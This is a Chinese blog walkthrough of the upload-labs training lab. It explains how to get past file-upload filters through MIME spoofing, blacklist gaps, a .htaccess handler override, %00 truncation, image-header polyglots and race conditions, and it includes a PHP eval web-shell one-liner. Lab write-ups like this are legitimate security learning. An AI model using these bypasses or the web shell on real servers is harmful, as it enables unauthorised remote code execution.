upload-labs基础总结
文章目录
Apache/2.2.25
php/5.2.17
0x01 前端js检查
前端js验证
将一句话的扩展名改一下
将扩展名.jpg
删除即可
0x02 MIME检查
直接上传php
按照上一题方法照样可以上传
看提示说是对mime类型进行检查,看看源码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}
源码第五行的if语句对文件的mime类型进行了检查
这是上传php时的MIME类型
这是上传jpg时的MIME类型
那理论上我们可以不改1.php的后缀名,在抓包的时候更改MIME类型也可以上传成功
尝试上传1.php
修改上图MIME类型
上传成功
0x03 名单列表绕过
直接上传1.php
按照第一题方法做还是不行
猜想他是以.
分离文件后缀名进行黑名单验证,上传1.jpg.php仍然失败
尝试%00截断
还是不行
搞不定,看源码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
黑名单只过滤了asp、aspx、php、jsp四种文件格式
尝试php3
0x04 .htaccess文件
不规则大小写
%00截断、特殊文件名
都绕不过
因为是黑名单,所以后来想到.htaccess
,试一波
创建一个名为.htaccess
的文件,内容为
<FilesMatch "1.jpg">
setHandler application/x-httpd-php
</FilesMatch>
意思是将文件名里含有1.jpg
的文件当做php来解析(21.jpg也可以解析哦,因为不是完全匹配)
然后直接上传1.jpg并访问他
被当做php文件来解析了.htaccess
一般用于绕过黑名单
中间件需要是Apache才可以尝试.htaccess绕过
0x05 不规则大小写绕过
直接看提示,黑名单挺大的,但是没有类似.phP
这种不规则大小写,遂尝试
直接给他秒杀了
看了源码,发现源码将化为小写的那行代码去掉了,所以能够上传
0x06 扩展名末尾空格绕过
本来想用解析漏洞绕过的
不过发现他改了文件名
上传的是1.php.x
后来看源码,发现没有对文件末尾去空
0x07 末尾加.绕过
方法一:
直接上传1.php.x
,因为Apache从右到左解析文件,扩展名.x
它不认识就会继续向左解析
方法二:
前提:Windows系统
查看源码
发现他没有对文件名末尾进行去点操作
上传1.php.
尝试访问1.php
这是windows的特性,会自动去除文件名最后的.
实际上传的文件
0x08 ::$DATA绕过
前提:Windows系统
没有进行去除::$DATA
window的时候如果文件名+
::$DATA
会把::$DATA
之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA
之前的文件名,他的目的就是不检查后缀名
上传1.php::$DATA
访问
去掉下图的::$data
0x09
方法一:
Apache解析漏洞
详见0x07
方法二:
重点看这里的代码
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
这里第三行是对$file_name
进行路径拼接
而第八关源码
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
第三行是对$file_ext
进行路径拼接
所以我直接在文件末尾加两个.
发现并不行,遂看看他deldot函数的源码,发现他是循环去除末尾的.
<?php
function deldot($s){
for($i = strlen($s)-1;$i>0;$i--){
$c = substr($s,$i,1);
if($i == strlen($s)-1 and $c != '.'){
return $s;
}
if($c != '.'){
return substr($s,0,$i+1);
}
}
}
?>
那可以构造1.php. .
(.
+空格
+.
)
0x10 双写绕过
提示说会去除php/php3…等字符
直接想到双写
直接缪撒
0x11 %00截断(get)
这题换成白名单验证了
看了源码,发现他的文件名直接拼接路径的,那我们可以试下%00截断
这样路径就变成../upload/1.php%001.jpg
,
去掉下图这一段
在url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,表示字符串结束,所以当url中出现%00时就会认为读取已结束
0x12 %00截断(post)
这题与上题的区别只是传参的方式不同
这题是post,上题是get
这样直接上传肯定是会失败的,因为post不会像get一样进行url解码
所以我们要手动进行url解码
后续步骤都一样
0x13 图片木马
GIF:
直接在文件里加GIF89a文件头
直接上传,然后包含
PNG:
png的文件头是 89 50 4E 47
新建一个文件直接输入一句话木马,再放进winhex里修改就行了
然后直接上传,再包含即可
JPG:
jpg的文件头是FF D8 FF E1
或者 FF D8 FF E0 00 10 4A 46 49 46 00 01
保存后直接上传包含
0x14 getimagesize()
直接改文件头失败
利用edjpgcom工具合成木马
选一张真正的jpg放进工具,写入一句话
然后直接上传(我这里偷懒了,严谨应该利用文件包含漏洞)
尝试菜刀连接
成功
注:edjpgcom只能用来合成jpg图片木马
PNG与GIF与上题一样直接加文件头就可以上传
0x15 exif_imagetype()
GIF与JPG与上题一样上传就行了
png直接加文件头无法绕过
试试用copy命令合成木马
2.php的内容就是<?php @eval($_POST['test']);?>
一句话
test.png是一张普通的png图片
用notepad++打开,一句话一般会在文件末尾
试下上传包含(我这里偷懒了,严谨应该利用文件包含漏洞)
success!
0x16
直接上传edjpgcom合成的jpg
GIF:
直接用notepad++打开一张正常gif,在其末尾添加一句话<?php@eval($_POST['test'])?>
然后是上传再包含就行了
PNG:
与上题一样
0x17 条件竞争
准备1.php,内容如下
<?phpinfo();?>
上传抓包,发送到intruder
然后是payload设置
最后start attack就行了
在bp一直发送请求的时候,不断刷新http://100.2.39.238/upload/1.php
,就会读到1.php的内容
0x19 条件竞争
这题我们可以直接上传一个图片马,但是没有文件包含漏洞get不到shell而已
本体应该是文件重命名竞争配合Apache解析漏洞打的…
本文地址:https://blog.csdn.net/baidu_39504221/article/details/110953365